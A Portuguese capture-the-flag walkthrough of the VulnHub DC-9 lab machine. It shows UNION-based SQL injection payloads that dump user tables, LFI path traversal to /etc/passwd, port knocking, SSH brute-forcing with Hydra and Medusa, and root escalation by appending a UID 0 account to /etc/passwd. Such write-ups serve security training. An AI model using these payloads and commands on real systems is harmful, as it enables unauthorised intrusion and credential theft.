Link da maquina: https://www.vulnhub.com/entry/dc-9,412/
Scan/Enumeracao
Host Discovery
- Vamos varrer a rede em busca da nossa maquina alvo
1
sudo arp-scan -I eth1 192.168.150.0/24
Port Discovery
- Descobrindo as portas abertas na maquina alvo. Com o parametro “-p-“ estamos escaneando todas as portas possiveis
1
sudo nmap -n -T5 -p- 192.168.150.111
Port Scan
- Com as informacoes coletadas no passo anterior vamos escanear as portas abertas com o objetivo de descobrir quais sao os servicos e seus suas respectivas versoes
1
sudo nmap -n -T5 -A -p 22,80 192.168.150.111
Porta 22: Filtered
Porta 80: Apache httpd 2.4.38 ((Debian))
Exploracao
Web
- Acessando a pagina pelo browser
A primeira vista parece ser um sistema de cadastro de funcionarios de uma empresa. O qual armazena o nome, cargo, telefone, email e cada usuario possui um numero sequencial como ID
Nao tem nada no codigo fonte
Fuzzy de diretorios
- Vamos fazer um fuzzy de diretorios com o gobuster para descobrir os diretorios que ainda nao conhecemos
1
gobuster dir -u http://192.168.150.111/ -w /usr/share/wordlists/dirb/big.txt -x php,js
Mesmo utilizando outras listas e varrendo os diretorios recursivamente nao encontramos nada demais com o fuzzy
SQLInjection
- Na aba “Search” tem um campo para buscar cadastro no Bando de Dados pelo nome do funcionario
- Com um nome de usuario valido no sistema, podemos testar se a pagina esta vulneravel a SQLi
Usamos aspas simples para fechar a query e comentamos o restante do codigo para testar se a aplicacao vai aceitar. Como pode ser visto na imagem a aplicacao nao tratou a vulnerabilidade.
Sabendo que a aplicacao e vulneravel a SQLi entao vamos explora-la
Primeiramente vamos abrir o Burp Suite e interceptar o trafego web. O SQLi pode ser feito, tambem, pelo navegador, porem sera mais dificil para a visualizacao.
Vamos mandar para o repeater. Basta clicar em “Actions” -> “Send to Repeater” ou basta apertar CTRL+R
- Ja na aba “Repeater” conseguimos interagir com a aplicacao e testar o SQLInjection mais facilmente. **Primeiramente, para verificarmos quantas colunas tem na tabela que esta sendo feita a consulta da aplicacao, utilizamos o comando sql “order by”
1
search=Fred' order by 6 #
Utizamos o comando “order by 6” pois testamos manualmente e iniciando com 1 e adicionando +1 a cada consulta. Quando utilizamos o “order by 7” a consulta nao foi exibida, ou seja, nao exite a setima coluna na tabela
- Vamos testar quais sao os campos que podemos evadir as informacoes
1
search=Fred' union select 1,2,3,4,5,6 #
- Vamos levantar algumas informacoes sobre o DB. Versao do SGBD, usuario e banco de dados que esta sendo usado
1
search=Fred' union select 1,2,3,version(),user(),database() #
- Listando os banco de dados existentes: information_schema, Staff e users
1
search=Fred' union select 1,2,3,4,5,table_schema from information_schema.columns #
- Listando as tabelas do banco de dados que esta sendo usado: StaffDetails e Users
1
search=Fred' union select 1,2,3,4,5,table_name from information_schema.columns where table_schema = database() #
- Listando as colunas da tabela “Users”: UserId, Username e Password
1
search=Fred' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'Users' #
- Conseguimos extrair o conteudo da tabela Users.
1
search=Fred' union select UserID,Username,Password,4,5,6 from Staff.Users #
admin:856f5de590ef37314e7c3bdf6f8a66dc
- Agora vamos extrair as informacoes do outro db, “users”. Primeiramente listando as tabelas. Temos somente a tabela UserDetails
1
search=Fred' union select 1,2,3,4,5,table_name from information_schema.columns where table_schema = 'users' #
- Listando as colunas da tabela UserDetails: ID, firstname, lastname, username, password e reg_date
1
search=Fred' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'UserDetails' #
- Extraindo as informacoes (username e password) da tabela UserDetails
1
search=Fred' union select 1,username,password,4,5,6 from users.UserDetails #
marym:3kfs86sfd; julied:468sfdfsd2; fredf:4sfd87sfd1; barneyr:RocksOff; tomc:TC&TheBoyz; jerrym:B8m#48sd; wilmaf:Pebbles; bettyr:BamBam01; chandlerb:UrAG0D!; joeyt:Passw0rd; rachelg:yN72#dsd; rossg:ILoveRachel; monicag:3248dsds7s, phoebeb:smellycats; scoots:YR3BVxxxw87; janitor:Ilovepeepee; janitor2:Hawaii-Five-0
Logando na Aplicacao
Apos enumerarmos todas as informacoes possiveis no bando de dados por meio de SQLi, vamos tentar logar com as credenciais que achamos. Foram feitos alguns testes com os usuarios e as senhas dos funcionarios que encontramos no “UserDetails”, poremo nao tivemos sucesso em nenhuma tentativa
Lembra do username admin e o hash que estava no campo password. Vamos tentar quebrar aquele hash para ver onde pode nos levar
admin:transorbital1
- Conseguimos logar na aplicacao com a senha que encontramos. Uma coisa nos chama atencao apos o login, logo em baixo tem uma mensagem de “File does not exist”, o que nos faz crer que a aplicacao esta tentando chamar um arquivo, o qual ela nao encontrou.
LFI
- Sabendo que a aplicacao esta tentando buscar um arquivo, podemos tentar um LFI. Porem nao sabemos qual e o parametro para podermos passar na URL. Entao vamos fazer um bruteforce para descobrir o parametro e se a aplicacao e vulneravel a LFI
1
wfuzz -c --hw 78 -b PHPSESSID=af98686t7fb2avab1kplgu2kp8 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.150.111/welcome.php?FUZZ=../../../../../../../../../../etc/passwd
-c: Para a saida ficar colorida; –hw 78: Nao mostrar as tentativas que tem o 78, nesse caso foram as que nao deram certo; -b: E a opcao para colocarmos o cookie, uma vez que estamos logados como admin, se nao passar esse parametro nao ira funcionar; -w: E a wordlist, neste caso utilizamos uma especifica para parametros; -u: Para colocarmos a URL
- Agora que sabemos qual e o parametro vamos tentar acessar o /etc/passwd com o Path Transversal
- Vamos utilziar o Burp Suite para otimizar a nossa exploracao do LFI
Port Knocking
Depois de varias tentativas nao conseguimos sair do lugar. Pensando com calma, no scan tinhamos a porta 80 aberta e a 22 que estava como “filtered”, pode ser que ela esteja bloqueada… Pesquisando, achamos alguns sites que explicam o “port knocking”, que resumidamente e uma forma de bloquear uma porta que nao precisa ficar 100% disponivel. Para desbloquear essa porta e necessario interagir com uma sequenia de outras portas.
Podemos verificar se o port knocking esta sendo usado vendo os processos da maquina. Para isso vamos ler o arquivo /proc/sched_debug
- Ja que agora sabemos que o knockd esta rodando na maquina, vamos verificar o arquivo de configuracao desse servico em /etc/knockd.conf
Para abrir: 7469,8475 e 9842
Para fechar: 9842,8475 e 7469
- Interagindo com as portas para abrir a 22
Para ficar mais didatico escaniei a porta 22 depois fiz o knock na sequencia de portas e depois escaniei novamente a 22 pra mostrar que ela abriu
SSH
- Agora que temos a porta do SSH aberta podemos tentar logar nela com as credenciais que achamos na exploracao do SQLi. Primeiro temos que trabalhar na nossa lista de usuarios e senhas
Bruteforce
- Agora vamos tentar um bruteforce com o hydra o SSH com as informacoes que temos
1
sudo hydra -L usuarios.txt -P senhas.txt ssh://192.168.150.112 -T50
chandlerb:UrAG0D! ; joeyt:Passw0rd ; janitor:Ilovepeepee
Acesso SSH
- Vamos acessar via ssh com uma das credenciais que nos conseguimos no bruteforce
1
ssh joeyt@192.168.150.112
Escalando Privilegio
Arquivos e Diretorios
- Seguindo a metodologio para escalacao de privilegio vamos procurar por diretorios com permissao de escrita, arquivos com permissao de escrita e arquivos com SUID
1
2
3
find / -type d -writable 2> /dev/null | fgrep -v proc
find / -type f -writable 2> /dev/null | fgrep -v proc
find / -type f -perm -4000 2> /dev/null | fgrep -v proc
- Como um dos nossos vetores de entrada na maquina foi web cresce a importancia de darmos uma olhada no diretorio de configuracao /var/www/html
- Vamos dar uma olhada na pagina de configuracao da aplicacao config.php
Conseguimos achar as credenciais para acessarmos o bando de dados dbuser:password
MySQL
- Conseguimos acessar o banco de dados
- Verificando as informacoes do banco de dados Staff observamos que existem dois desses usuarios que foram adicionados em datas diferentes dos demais
- Verificando os usuarios da maquina la estao os dois usuarios que plotamos. Lembra das 03 credenciais que conseguimos no bruteforce do SSH, umas delas e do usuario Donald Trump: janitor:Ilovepeepee
Usuario “janitor”
- Trocando de usuario
- Seguindo a metodologia ao verificar os arquivos que temos permissao de escrita plotamos um arquivos diferente passwords-found-on-post-it-notes.txt
- O nome do arquivo nos dis que sao senhas encontradas em um post. Lendo o arquivo temos algumas senhas que possivelmente podem ser usadas por outros usuarios
Bruteforce SSH
- Vamos tentar descobrir se alguma dessas senhas e de algum daqueles usuarios que encontramos no inicio
1
medusa -h 192.168.150.112 -U usuarios.txt -P passwords-found-on-post-it-notes.txt -M ssh
Encontramos as seguintes correspondencias: fredf:B4-Tru3-001 e joeyt:Passw0rd
O usuario joeyt ja tinhamos encontrado no primeiro bruteforce, ja o fredf nao tinhamos encontrado. E para quem tem uma boa memoria, quando exploramos a pagina web o usuario fredf era o Administrador de Sistemas
Usuario “fredf”
- Logando com o usuario “fredf”
- Seguindo a metodologia, ao listar o que o usuario pode fazer como sudo encontramos algo interessante
- Varrendo os diretorios do binario e os anteriores encontramos o arquivos test.py. Ao ler ele e possivel imaginar que o binario ao executar o mesmo pode escrever em um arquivo
Adicionando um usuario
- Como ja sabemos que podemos utilizar o binario test como sudo e o binario pode escrever em um arquivo… Entao vamos adidionar um usuario no /etc/passwd com os mesmos privilegios do root
1
2
3
openssl passwd thelifesnake
echo "charlie:pFBA1KAF/n7DA:0:0:Charlie:/root:/bin/bash" >> charlie.txt
sudo /opt/devstuff/dist/test/test charlie.txt /etc/passwd
O comando openssl serve para codificarmos a senha no formato que o passwd aceita
Com o comando echo adicionamos uma linha com a mesma formatacao do passwd para um arquivo “charlie.txt”
Por ultimo executamos o binario test como sudo e adicionamos o conteudo do arquivo “charlie.txt” para o arquivo “/etc/passwd”
Virando root
- Agora e so logar com o usuario charlie e se tivermos feito tudo certo seremos root
Flag
- Conseguimos pegar a flag